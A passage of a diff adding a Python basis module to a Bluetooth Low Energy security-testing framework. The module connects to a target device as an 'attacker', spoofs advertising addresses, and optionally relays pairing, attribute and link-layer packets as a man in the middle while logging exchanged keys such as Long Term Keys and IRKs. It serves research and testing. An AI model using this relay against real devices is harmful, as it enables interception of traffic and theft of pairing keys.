self.args["INTERFACE2"] != "": + a2mcap = self.a2mEmitter.hasCapabilities( + "COMMUNICATING_AS_SLAVE", "RECEIVING_CONNECTION", "ADVERTISING" + ) + return a2mcap + + def init(self): + self.technology = "ble" + self.type = "analysis" + self.dependencies = [ + "ble_connect", + "ble_scan", + "ble_discover", + "ble_pair", + "ble_sc_pair", + ] + self.description = "The module offers a plain basis module to implement complete new scenarious. All connection management has to be don in a scenario." + self.args = { + "INTERFACE1": "hci0", + "INTERFACE2": "", + "TARGET": "12:34:56:78:90:FF", + "CONNECTION_TYPE": "public", + "SCENARIO": "", + "SECURE_CONNECTION": "yes", + } + + # Current stage uninitialized + self.stage = -1 + + self.mitm = False + + # Values from UpdateConnectionParametersRequest + self.timeoutMult = None + self.slaveLatency = None + self.minInterval = None + self.maxInterval = None + + # Scenario-related methods + @module.scenarioSignal("onStart") + def startScenario(self): + pass + + @module.scenarioSignal("onEnd") + def endScenario(self, result): + return result + + # Stage related methods + def getStage(self): + return self.stage + + def setStage(self, value): + self.stage = value + + def waitUntilStage(self, stage): + while self.getStage() != stage: + utils.wait(seconds=0.01) + + # Helper functions for general use-case + def initEmittersAndReceivers(self): + attackerToSlaveInterface = self.args["INTERFACE1"] + attackerToMasterInterface = self.args["INTERFACE2"] + + self.a2sEmitter = self.getEmitter(interface=attackerToSlaveInterface) + self.a2sReceiver = self.getReceiver(interface=attackerToSlaveInterface) + + if not self.a2sEmitter.isAddressChangeable(): + io.warning( + "Interface " + + attackerToSlaveInterface + + " is not able to change its address" + ) + if attackerToMasterInterface != "": + self.a2mEmitter = self.getEmitter(interface=attackerToMasterInterface) + self.a2mReceiver = self.getReceiver(interface=attackerToMasterInterface) + + if not self.a2mEmitter.isAddressChangeable(): + io.warning( + "Interface " + + attackerToMasterInterface + + " is not able to change its address" + ) + + def connectOnSlave(self, initiatorType="random"): + while self.a2sEmitter.getMode() != "NORMAL": + utils.wait(seconds=1) + print(self.a2sEmitter.getMode()) + + address = utils.addressArg(self.args["TARGET"]) + connectionType = self.args["CONNECTION_TYPE"] + + self.responderAddress = address + self.responderAddressType = ( + b"\x00" if self.args["CONNECTION_TYPE"] == "public" else b"\x01" + ) + io.info("Connecting to slave " + address + "...") + self.a2sEmitter.sendp( + ble.BLEConnect( + dstAddr=address, type=connectionType, initiatorType=initiatorType + ) + ) + while not self.a2sEmitter.isConnected(): + utils.wait(seconds=0.5) + io.info("Connected on slave : " + self.a2sReceiver.getCurrentConnection()) + + def startAdvertisingOnEmitter( + self, + emitter, + address, + dataAdvInd, + dataScanRsp, + intervalMin, + intervalMax, + addrType, + ): + if address != emitter.getAddress(): + emitter.setAddress(address, random=1 == addrType) + emitter.setScanningParameters(data=dataScanRsp) + emitter.setAdvertisingParameters( + data=dataAdvInd, + intervalMin=intervalMin, + intervalMax=intervalMax, + daType=addrType, + oaType=addrType, + ) + emitter.setAdvertising(enable=True) + + def enableMitM(self, enable): + self.mitm = enable + if self.mitm: + io.info("MitM is enabled") + + def forwardSlavePacket(self, packet): + if self.mitm and self.a2mEmitter.isConnected(): + self.a2mEmitter.sendp(packet) + + def forwardMasterPacket(self, packet): + if self.mitm and self.a2sEmitter.isConnected(): + self.a2sEmitter.sendp(packet) + + # Advertising related methods + @module.scenarioSignal("onSlaveAdvertisement") + def slaveAdvertisement(self, packet): + io.info("Slave advertisement") + io.info(packet.toString()) + + @module.scenarioSignal("onMasterCreateConnection") + def masterCreateConnection(self, packet): + io.info("Connection complete (from master)") + io.info(packet.toString()) + + @module.scenarioSignal("onSlaveConnectionComplete") + def slaveConnectionComplete(self, packet): + io.info("Connection complete (from slave)") + io.info(packet.toString()) + + @module.scenarioSignal("onMasterDisconnect") + def masterDisconnect(self, packet): + io.info("Master disconnected") + # self.forwardMasterPacket(ble.BLEDisconnect()) + + @module.scenarioSignal("onSlaveDisconnect") + def slaveDisconnect(self, packet): + io.info("Slave disconnected") + # self.forwardSlavePacket(ble.BLEDisconnect()) + + @module.scenarioSignal("onMasterExchangeMTURequest") + def masterExchangeMtuRequest(self, packet): + io.info("Exchange MTU Request (from master) : mtu = " + str(packet.mtu)) + self.forwardMasterPacket(ble.BLEExchangeMTURequest(mtu=packet.mtu)) + + @module.scenarioSignal("onSlaveExchangeMTURequest") + def slaveExchangeMtuRequest(self, packet): + io.info("Exchange MTU Request (from slave) : mtu = " + str(packet.mtu)) + self.forwardSlavePacket(ble.BLEExchangeMTURequest(mtu=packet.mtu)) + + @module.scenarioSignal("onMasterExchangeMTUResponse") + def masterExchangeMtuResponse(self, packet): + io.info("Exchange MTU Response (from master) : mtu = " + str(packet.mtu)) + self.forwardMasterPacket(ble.BLEExchangeMTUResponse(mtu=packet.mtu)) + + @module.scenarioSignal("onSlaveExchangeMTUResponse") + def slaveExchangeMtuResponse(self, packet): + io.info("Exchange MTU Response (from slave) : mtu = " + str(packet.mtu)) + self.forwardSlavePacket(ble.BLEExchangeMTUResponse(mtu=packet.mtu)) + + @module.scenarioSignal("onMasterWriteCommand") + def writeCommand(self, packet): + io.info( + "Write Command (from master) : handle = " + + hex(packet.handle) + + " / value = " + + packet.value.hex() + ) + self.forwardMasterPacket( + ble.BLEWriteCommand(handle=packet.handle, value=packet.value) + ) + + @module.scenarioSignal("onMasterWriteRequest") + def writeRequest(self, packet): + io.info( + "Write Request (from master) : handle = " + + hex(packet.handle) + + " / value = " + + packet.value.hex() + ) + self.forwardMasterPacket( + ble.BLEWriteRequest(handle=packet.handle, value=packet.value) + ) + + @module.scenarioSignal("onSlaveWriteResponse") + def writeResponse(self, packet): + io.info("Write Response (from slave)") + self.forwardSlavePacket(ble.BLEWriteResponse()) + + @module.scenarioSignal("onMasterReadBlobRequest") + def readBlob(self, packet): + io.info( + "Read Blob Request (from master) : handle = " + + hex(packet.handle) + + " / offset = " + + str(packet.offset) + ) + self.forwardMasterPacket( + ble.BLEReadBlobRequest(handle=packet.handle, offset=packet.offset) + ) + + @module.scenarioSignal("onSlaveReadBlobResponse") + def readBlobResponse(self, packet): + io.info("Read Blob Response (from slave) : value = " + packet.value.hex()) + self.forwardSlavePacket(ble.BLEReadBlobResponse(value=packet.value)) + + @module.scenarioSignal("onMasterReadRequest") + def read(self, packet): + io.info("Read Request (from master) : handle = " + hex(packet.handle)) + self.forwardMasterPacket(ble.BLEReadRequest(handle=packet.handle)) + + @module.scenarioSignal("onSlaveReadResponse") + def readResponse(self, packet): + io.info("Read Response (from slave) : value = " + packet.value.hex()) + self.forwardSlavePacket(ble.BLEReadResponse(value=packet.value)) + + @module.scenarioSignal("onSlaveErrorResponse") + def errorResponse(self, packet): + io.info( + "Error Response (from slave) : request = " + + hex(packet.request) + + " / handle = " + + hex(packet.handle) + + " / ecode = " + + hex(packet.ecode) + ) + self.forwardSlavePacket( + ble.BLEErrorResponse( + request=packet.request, handle=packet.handle, ecode=packet.ecode + ) + ) + + @module.scenarioSignal("onSlaveHandleValueNotification") + def notification(self, packet): + io.info( + "Handle Value Notification (from slave) : handle = " + + hex(packet.handle) + + " / value = " + + packet.value.hex() + ) + self.forwardSlavePacket( + ble.BLEHandleValueNotification(handle=packet.handle, value=packet.value) + ) + + @module.scenarioSignal("onSlaveHandleValueIndication") + def indication(self, packet): + io.info( + "Handle Value Indication (from slave) : handle = " + + hex(packet.handle) + + " / value = " + + packet.value.hex() + ) + self.forwardSlavePacket( + ble.BLEHandleValueIndication(handle=packet.handle, value=packet.value) + ) + + @module.scenarioSignal("onMasterHandleValueConfirmation") + def confirmation(self, packet): + io.info("Handle Value Confirmation (from master)") + self.forwardMasterPacket(ble.BLEHandleValueConfirmation()) + + @module.scenarioSignal("onMasterFindInformationRequest") + def findInformation(self, packet): + io.info( + "Find Information Request (from master) : startHandle = " + + hex(packet.startHandle) + + " / endHandle = " + + hex(packet.endHandle) + ) + self.forwardMasterPacket( + ble.BLEFindInformationRequest( + startHandle=packet.startHandle, endHandle=packet.endHandle + ) + ) + + @module.scenarioSignal("onSlaveFindInformationResponse") + def findInformationResponse(self, packet): + io.info( + "Find Information Response (from slave) : format = " + + hex(packet.format) + + " / data = " + + packet.data.hex() + ) + self.forwardSlavePacket( + ble.BLEFindInformationResponse(format=packet.format, data=packet.data) + ) + + @module.scenarioSignal("onMasterFindByTypeValueRequest") + def findByTypeValueRequest(self, packet): + io.info( + "Find Type By Value Request (from master) : startHandle = " + + hex(packet.startHandle) + + " / endHandle = " + + hex(packet.endHandle) + + " / uuid = " + + hex(packet.uuid) + + " / data = " + + packet.data.hex() + ) + self.forwardMasterPacket( + ble.BLEFindByTypeValueRequest( + startHandle=packet.startHandle, + endHandle=packet.endHandle, + uuid=packet.uuid, + data=packet.data, + ) + ) + + @module.scenarioSignal("onSlaveFindByTypeValueResponse") + def findByTypeValueResponse(self, packet): + io.info("Find Type By Value Response (from slave)") + self.forwardSlavePacket(ble.BLEFindByTypeValueResponse(handles=packet.handles)) + + @module.scenarioSignal("onMasterReadByTypeRequest") + def masterReadByType(self, packet): + io.info( + "Read By Type Request (from master) : startHandle = " + + hex(packet.startHandle) + + " / endHandle = " + + hex(packet.endHandle) + + " / uuid = " + + hex(packet.uuid) + ) + self.forwardMasterPacket( + ble.BLEReadByTypeRequest( + startHandle=packet.startHandle, + endHandle=packet.endHandle, + uuid=packet.uuid, + ) + ) + + @module.scenarioSignal("onSlaveReadByTypeRequest") + def slaveReadByType(self, packet): + io.info( + "Read By Type Request (from slave) : startHandle = " + + hex(packet.startHandle) + + " / endHandle = " + + hex(packet.endHandle) + + " / uuid = " + + hex(packet.uuid) + ) + self.forwardMasterPacket( + ble.BLEReadByTypeRequest( + startHandle=packet.startHandle, + endHandle=packet.endHandle, + uuid=packet.uuid, + ) + ) + + @module.scenarioSignal("onMasterReadByGroupTypeRequest") + def readByGroupType(self, packet): + io.info( + "Read By Group Type Request (from master) : startHandle = " + + hex(packet.startHandle) + + " / endHandle = " + + hex(packet.endHandle) + + " / uuid = " + + hex(packet.uuid) + ) + self.forwardMasterPacket( + ble.BLEReadByGroupTypeRequest( + startHandle=packet.startHandle, + endHandle=packet.endHandle, + uuid=packet.uuid, + ) + ) + + @module.scenarioSignal("onSlaveReadByTypeResponse") + def readByTypeResponse(self, packet): + io.info("Read By Type Response (from slave) : data = " + packet.data.hex()) + self.forwardSlavePacket(ble.BLEReadByTypeResponse(data=packet.data)) + + @module.scenarioSignal("onSlaveReadByGroupTypeResponse") + def readByGroupTypeResponse(self, packet): + io.info( + "Read By Group Type Response (from slave) : length = " + + str(packet.length) + + " / data = " + + packet.data.hex() + ) + self.forwardSlavePacket( + ble.BLEReadByGroupTypeResponse(length=packet.length, data=packet.data) + ) + + @module.scenarioSignal("onMasterPairingRequest") + def pairingRequest(self, packet): + io.info( + ( + "Pairing Request (from master) : " + + "\n=> outOfBand = " + + ("yes" if packet.outOfBand else "no") + + "\n=> inputOutputCapability = " + + str( + ble.InputOutputCapability( + data=bytes([packet.inputOutputCapability]) + ) + ) + + "\n=> authentication = " + + str(ble.AuthReqFlag(data=bytes([packet.authentication]))) + + "\n=> maxKeySize = " + + str(packet.maxKeySize) + + "\n=> initiatorKeyDistribution = " + + str( + ble.KeyDistributionFlag( + data=bytes([packet.initiatorKeyDistribution]) + ) + ) + ) + + "\n=> responderKeyDistribution = " + + str( + ble.KeyDistributionFlag(data=bytes([packet.responderKeyDistribution])) + ) + ) + self.forwardMasterPacket( + ble.BLEPairingRequest( + outOfBand=packet.outOfBand, + inputOutputCapability=packet.inputOutputCapability, + authentication=packet.authentication, + maxKeySize=packet.maxKeySize, + initiatorKeyDistribution=packet.initiatorKeyDistribution, + responderKeyDistribution=packet.responderKeyDistribution, + ) + ) + + @module.scenarioSignal("onSlaveSecurityRequest") + def securityRequest(self, packet): + io.info( + "Security Request (from slave) : authentication = " + + str(ble.AuthReqFlag(data=bytes([packet.authentication]))) + + "\n" + ) + self.forwardSlavePacket( + ble.BLESecurityRequest( + connectionHandle=packet.connectionHandle, + authentication=packet.authentication, + ) + ) + + @module.scenarioSignal("onSlavePairingResponse") + def pairingResponse(self, packet): + io.info( + ( + "Pairing Response (from slave) : " + + "\n=> outOfBand = " + + ("yes" if packet.outOfBand else "no") + + "\n=> inputOutputCapability = " + + str( + ble.InputOutputCapability( + data=bytes([packet.inputOutputCapability]) + ) + ) + + "\n=> authentication = " + + str(ble.AuthReqFlag(data=bytes([packet.authentication]))) + + "\n=> maxKeySize = " + + str(packet.maxKeySize) + + "\n=> initiatorKeyDistribution = " + + str( + ble.KeyDistributionFlag( + data=bytes([packet.initiatorKeyDistribution]) + ) + ) + ) + + "\n=> responderKeyDistribution = " + + str( + ble.KeyDistributionFlag(data=bytes([packet.responderKeyDistribution])) + ) + ) + self.forwardSlavePacket( + ble.BLEPairingResponse( + outOfBand=packet.outOfBand, + inputOutputCapability=packet.inputOutputCapability, + authentication=packet.authentication, + maxKeySize=packet.maxKeySize, + initiatorKeyDistribution=packet.initiatorKeyDistribution, + responderKeyDistribution=packet.responderKeyDistribution, + ) + ) + + @module.scenarioSignal("onMasterPairingConfirm") + def masterPairingConfirm(self, packet): + io.info("Pairing Confirm (from master) : confirm = " + packet.confirm.hex()) + self.forwardMasterPacket(ble.BLEPairingConfirm(confirm=packet.confirm)) + + @module.scenarioSignal("onSlavePairingConfirm") + def slavePairingConfirm(self, packet): + io.info("Pairing Confirm (from slave) : confirm = " + packet.confirm.hex()) + self.forwardSlavePacket(ble.BLEPairingConfirm(confirm=packet.confirm)) + + @module.scenarioSignal("onMasterPairingRandom") + def masterPairingRandom(self, packet): + io.info("Pairing Random (from master) : random = " + packet.random.hex()) + self.forwardMasterPacket(ble.BLEPairingRandom(random=packet.random)) + + @module.scenarioSignal("onSlavePairingRandom") + def slavePairingRandom(self, packet): + io.info("Pairing Random (from slave) : random = " + packet.random.hex()) + self.forwardSlavePacket(ble.BLEPairingRandom(random=packet.random)) + + def pairingFailed(self, pkt): + io.fail("Pairing Failed received : " + pkt.toString()) + if pkt.reason == ble.SM_ERR_PASSKEY_ENTRY_FAILED: + io.fail("Reason : Passkey Entry Failed") + elif pkt.reason == ble.SM_ERR_OOB_NOT_AVAILABLE: + io.fail("Reason : Out of Band not available") + elif pkt.reason == ble.SM_ERR_AUTH_REQUIREMENTS: + io.fail("Reason : Authentication requirements") + elif pkt.reason == ble.SM_ERR_CONFIRM_VALUE_FAILED: + io.fail("Reason : Confirm Value failed") + elif pkt.reason == ble.SM_ERR_PAIRING_NOT_SUPPORTED: + io.fail("Reason : Pairing not supported") + elif pkt.reason == ble.SM_ERR_OOB_NOT_AVAILABLE: + io.fail("Reason : Out of Band not available") + elif pkt.reason == ble.SM_ERR_ENCRYPTION_KEY_SIZE: + io.fail("Reason : Encryption key size") + elif pkt.reason == ble.SM_ERR_COMMAND_NOT_SUPPORTED: + io.fail("Reason : Command not supported") + elif pkt.reason == ble.SM_ERR_UNSPECIFIED_REASON: + io.fail("Reason : Unspecified reason") + elif pkt.reason == ble.SM_ERR_REPEATED_ATTEMPTS: + io.fail("Reason : Repeated Attempts") + elif pkt.reason == ble.SM_ERR_INVALID_PARAMETERS: + io.fail("Reason : Invalid Parameters") + elif pkt.reason == ble.SM_ERR_DHKEY_CHECK_FAILED: + io.fail("Reason : DHKey Check failed") + elif pkt.reason == ble.SM_ERR_NUMERIC_COMPARISON_FAILED: + io.fail("Reason : Numeric Comparison failed") + elif pkt.reason == ble.SM_ERR_BREDR_PAIRING_IN_PROGRESS: + io.fail("Reason : BR/EDR Pairing in progress") + elif pkt.reason == ble.SM_ERR_CROSS_TRANSPORT_KEY: + io.fail("Reason : Cross-transport Key Derivation/Generation not allowed") + else: + io.fail("Reason : unknown") + + @module.scenarioSignal("onMasterPairingFailed") + def masterPairingFailed(self, packet): + io.info("Pairing Failed (from master) !") + self.forwardMasterPacket(ble.BLEPairingFailed(reason=packet.reason)) + + @module.scenarioSignal("onSlavePairingFailed") + def slavePairingFailed(self, packet): + io.info("Pairing Failed (from slave) !") + self.forwardSlavePacket(ble.BLEPairingFailed(reason=packet.reason)) + + @module.scenarioSignal("onSlaveEncryptionInformation") + def slaveEncryptionInformation(self, packet): + io.info( + "Encryption Information (from slave) : Long Term Key = " + packet.ltk.hex() + ) + self.forwardSlavePacket(ble.BLEEncryptionInformation(ltk=packet.ltk)) + + @module.scenarioSignal("onSlaveMasterIdentification") + def slaveMasterIdentification(self, packet): + io.info( + "Master Indentification (from slave) : ediv = " + + hex(packet.ediv) + + " / rand = " + + packet.rand.hex() + ) + self.forwardSlavePacket( + ble.BLEMasterIdentification(rand=packet.rand, ediv=packet.ediv) + ) + + @module.scenarioSignal("onSlaveIdentityAddressInformation") + def slaveIdentityAddressInformation(self, packet): + io.info( + "Identity Address Information (from slave) : address = " + + str(packet.address) + + " / type = " + + packet.type + ) + self.forwardSlavePacket( + ble.BLEIdentityAddressInformation(address=packet.address, type=packet.type) + ) + + @module.scenarioSignal("onSlaveIdentityInformation") + def slaveIdentityInformation(self, packet): + io.info("Identity Information (from slave) : irk = " + packet.irk.hex()) + self.forwardSlavePacket(ble.BLEIdentityInformation(irk=packet.irk)) + + @module.scenarioSignal("onSlaveSigningInformation") + def slaveSigningInformation(self, packet): + io.info("Signing Information (from slave) : csrk = " + packet.csrk.hex()) + self.forwardSlavePacket(ble.BLESigningInformation(csrk=packet.csrk)) + + @module.scenarioSignal("onMasterEncryptionInformation") + def masterEncryptionInformation(self, packet): + io.info( + "Encryption Information (from master) : Long Term Key = " + packet.ltk.hex() + ) + self.forwardMasterPacket(ble.BLEEncryptionInformation(ltk=packet.ltk)) + + @module.scenarioSignal("onMasterMasterIdentification") + def masterMasterIdentification(self, packet): + io.info( + "Master Indentification (from master) : ediv = " + + hex(packet.ediv) + + " / rand = " + + packet.rand.hex() + ) + self.forwardMasterPacket( + ble.BLEMasterIdentification(rand=packet.rand, ediv=packet.ediv) + ) + + @module.scenarioSignal("onMasterIdentityAddressInformation") + def masterIdentityAddressInformation(self, packet): + io.info( + "Identity Address Information (from master) : address = " + + str(packet.address) + + " / type = " + + packet.type + ) + self.forwardMasterPacket( + ble.BLEIdentityAddressInformation(address=packet.address, type=packet.type) + ) + + @module.scenarioSignal("onMasterIdentityInformation") + def masterIdentityInformation(self, packet): + io.info("Identity Information (from master) : irk = " + packet.irk.hex()) + self.forwardMasterPacket(ble.BLEIdentityInformation(irk=packet.irk)) + + @module.scenarioSignal("onMasterSigningInformation") + def masterSigningInformation(self, packet): + io.info("Signing Information (from master) : csrk = " + packet.csrk.hex()) + self.forwardMasterPacket(ble.BLESigningInformation(csrk=packet.csrk)) + + @module.scenarioSignal("onSlavePublicKey") + def slavePublicKey(self, packet): + io.info( + "Public Key (from slave) : \n\tkey_x: " + + packet.key_x.hex() + + " length: " + + str(len(packet.key_x)) + + "\n\tkey_y: " + + packet.key_y.hex() + + " length: " + + str(len(packet.key_y)) + + "\n" + ) + self.forwardSlavePacket( + ble.BLEPublicKey( + key_x=packet.key_x, + key_y=packet.key_y, + ) + ) + + @module.scenarioSignal("onMasterPublicKey") + def masterPublicKey(self, packet): + io.info( + "Public Key (from master) : \n\tkey_x: " + + packet.key_x.hex() + + " length: " + + str(len(packet.key_x)) + + "\n\tkey_y: " + + packet.key_y.hex() + + " length: " + + str(len(packet.key_y)) + + "\n" + ) + self.forwardMasterPacket( + ble.BLEPublicKey( + key_x=packet.key_x, + key_y=packet.key_y, + ) + ) + + @module.scenarioSignal("onSlaveConnectionParameterUpdateRequest") + def slaveConnectionParameterUpdateRequest(self, packet): + io.info( + "Connection Parameter Update Request (from slave) : slaveLatency = " + + str(packet.slaveLatency) + + " / timeoutMult = " + + str(packet.timeoutMult) + + " / minInterval = " + + str(packet.minInterval) + + " / maxInterval = " + + str(packet.maxInterval) + ) + + if not self.mitm and self.a2sEmitter.isConnected(): + io.info("Answering slave ...") + self.a2sEmitter.sendp( + ble.BLEConnectionParameterUpdateResponse( + l2capCmdId=packet.l2capCmdId, moveResult=0 + ) + ) + else: + self.forwardSlavePacket( + ble.BLEConnectionParameterUpdateRequest( + l2capCmdId=packet.l2capCmdId, + timeoutMult=packet.timeoutMult, + slaveLatency=packet.slaveLatency, + minInterval=packet.minInterval, + maxInterval=packet.maxInterval, + ) + ) + self.a2sEmitter.updateConnectionParameters( + timeout=packet.timeoutMult, + latency=packet.slaveLatency, + minInterval=packet.minInterval, + maxInterval=packet.maxInterval, + minCe=0, + maxCe=0, + ) + + @module.scenarioSignal("onMasterConnectionParameterUpdateResponse") + def masterConnectionParameterUpdateResponse(self, packet): + io.info( + "Connection Parameter Update Response (from master) : moveResult = " + + str(packet.moveResult) + ) + self.forwardMasterPacket( + ble.BLEConnectionParameterUpdateResponse( + l2capCmdId=packet.l2capCmdId, moveResult=packet.moveResult + ) + ) + + if packet.moveResult == 0 and not self.mitm and self.a2sEmitter.isConnected(): + io.info( + "Updating Connection Parameter: slaveLatency = " + + str(self.slaveLatency) + + " / timeoutMult = " + + str(self.timeoutMult) + + " / minInterval = " + + str(self.minInterval) + + " / maxInterval = " + + str(self.maxInterval) + ) + self.a2sEmitter.updateConnectionParameters( + timeout=self.timeoutMult, + latency=self.slaveLatency, + minInterval=self.minInterval, + maxInterval=self.maxInterval, + ) + + @module.scenarioSignal("onMasterDHKeyCheck") + def masterDHKeyCheck(self, packet): + io.info( + "DH Key Check (from master) : dhkey_check = " + packet.dhkey_check.hex() + ) + self.forwardMasterPacket(ble.BLEDHKeyCheck(dhkey_check=packet.dhkey_check)) + + @module.scenarioSignal("onSlaveDHKeyCheck") + def slaveDHKeyCheck(self, packet): + io.info("DH Key Check (from slave) : dhkey_check = " + packet.dhkey_check.hex()) + self.forwardSlavePacket(ble.BLEDHKeyCheck(dhkey_check=packet.dhkey_check)) + + ## HCI callbacks + @module.scenarioSignal("onMasterEncryptionChange") + def masterEncryptionChange(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveEncryptionChange") + def slaveEncryptionChange(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLongTermKeyRequest") + def masterLongTermKeyRequest(self, packet): + io.info("Master: " + packet.toString()) + + ## Link Layer Callbacks + @module.scenarioSignal("onSlaveLLConnUpdateInd") + def slaveLLConnUpdateInd(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLConnUpdateInd") + def masterLLConnUpdateInd(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLChannelMapInd") + def slaveLLChannelMapInd(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLChannelMapInd") + def masterLLChannelMapInd(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLTerminateInd") + def slaveLLTerminateInd(self, packet): + io.info( + "Slave: " + + packet.toString() + + "\n\t" + + hex(packet.error_code) + + " = " + + errorCode[packet.error_code] + ) + + @module.scenarioSignal("onMasterLLTerminateInd") + def masterLLTerminateInd(self, packet): + io.info( + "Master: " + + packet.toString() + + "\n\t" + + hex(packet.error_code) + + " = " + + errorCode[packet.error_code] + ) + + @module.scenarioSignal("onMasterLLEncReq") + def masterLLEncReq(self, packet): + + io.info( + "LL Enc Request (from master) : rand = " + + str(packet.rand) + + " / ediv = " + + str(packet.ediv) + + " / skdm = " + + str(packet.skdm) + + " / ivm = " + + str(packet.ivm) + ) + + @module.scenarioSignal("onSlaveLLEncRsp") + def slaveLLEncRsp(self, packet): + io.info( + "LL Enc Response (from slave) : skds = " + + str(packet.skds) + + " / ivs = " + + str(packet.ivs) + ) + + @module.scenarioSignal("onSlaveLLStartEncReq") + def slaveLLStartEncReq(self, packet): + io.info("LL Start Enc Request (from slave)") + + @module.scenarioSignal("onSlaveLLUnknownRsp") + def slaveLLUnknownRsp(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLUnknownRsp") + def masterLLUnknownRsp(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLFeatureReq") + def slaveLLFeatureReq(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLFeatureReq") + def masterLLFeatureReq(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLFeatureRsp") + def slaveLLFeatureRsp(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLFeatureRsp") + def masterLLFeatureRsp(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onMasterLLPauseEncReq") + def masterLLPauseEncReq(self, packet): + io.info("LL Pause Enc Request (from master)\nRedirecting to slave...") + + @module.scenarioSignal("onMasterLLPauseEncRsp") + def masterLLPauseEncRsp(self, packet): + io.info("LL Pause Enc Response (from master)\nRedirecting to slave...") + + @module.scenarioSignal("onSlaveLLPauseEncRsp") + def slaveLLPauseEncRsp(self, packet): + io.info("LL Pause Enc Response (from slave)\nRedirecting to master...") + + @module.scenarioSignal("onSlaveLLVersionInd") + def slaveLLVersionInd(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLVersionInd") + def masterLLVersionInd(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLRejectInd") + def slaveLLRejectInd(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLRejectInd") + def masterLLRejectInd(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLSlaveFeatureReq") + def slaveLLSlaveFeatureReq(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLConnParamReq") + def slaveLLConnParamReq(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLConnParamReq") + def masterLLConnParamReq(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLConnParamRsp") + def slaveLLConnParamRsp(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLConnParamRsp") + def masterLLConnParamRsp(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLRejectExtInd") + def slaveLLRejectExtInd(self, packet): + io.info( + "Slave: " + + packet.toString() + + "\n\t" + + hex(packet.error_code) + + " = " + + errorCode[packet.error_code] + ) + + @module.scenarioSignal("onMasterLLRejectExtInd") + def masterLLRejectExtInd(self, packet): + io.info( + "Master: " + + packet.toString() + + "\n\t" + + hex(packet.error_code) + + " = " + + errorCode[packet.error_code] + ) + + @module.scenarioSignal("onSlaveLLPingReq") + def slaveLLPingReq(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLPingReq") + def masterLLPingReq(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLPingRsp") + def slaveLLPingRsp(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLPingRsp") + def masterLLPingRsp(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLLengthReq") + def slaveLLLengthReq(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLLengthReq") + def masterLLLengthReq(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLLengthRsp") + def slaveLLLengthRsp(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLLengthRsp") + def masterLLLengthRsp(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLPhyReq") + def slaveLLPhyReq(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLPhyReq") + def masterLLPhyReq(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLPhyRsp") + def slaveLLPhyRsp(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLPhyRsp") + def masterLLPhyRsp(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLPhyUpdateInd") + def slaveLLPhyUpdateInd(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLPhyUpdateInd") + def masterLLPhyUpdateInd(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLMinUsedChannelsInd") + def slaveLLMinUsedChannelsInd(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLMinUsedChannelsInd") + def masterLLMinUsedChannelsInd(self, packet): + io.info("Master: " + packet.toString()) + + # TODO: Callbacks, which are by the time of writing not supported by Dongle + # @module.scenarioSignal("onSlaveLLCTEReq") + # def slaveLLCTEReq(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLCTEReq") + # def masterLLCTEReq(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLCTERsp") + # def slaveLLCTERsp(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLCTERsp") + # def masterLLCTERsp(self, packet): + # io.info("Master: " + packet.toString()) + + # # @module.scenarioSignal("onSlaveLLPeriodicSyncInd") + # def slaveLLPeriodicSyncInd(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLPeriodicSyncInd") + # def masterLLPeriodicSyncInd(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLClockAccuracyReq") + # def slaveLLClockAccuracyReq(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLClockAccuracyReq") + # def masterLLClockAccuracyReq(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLClockAccuracyRsp") + # def 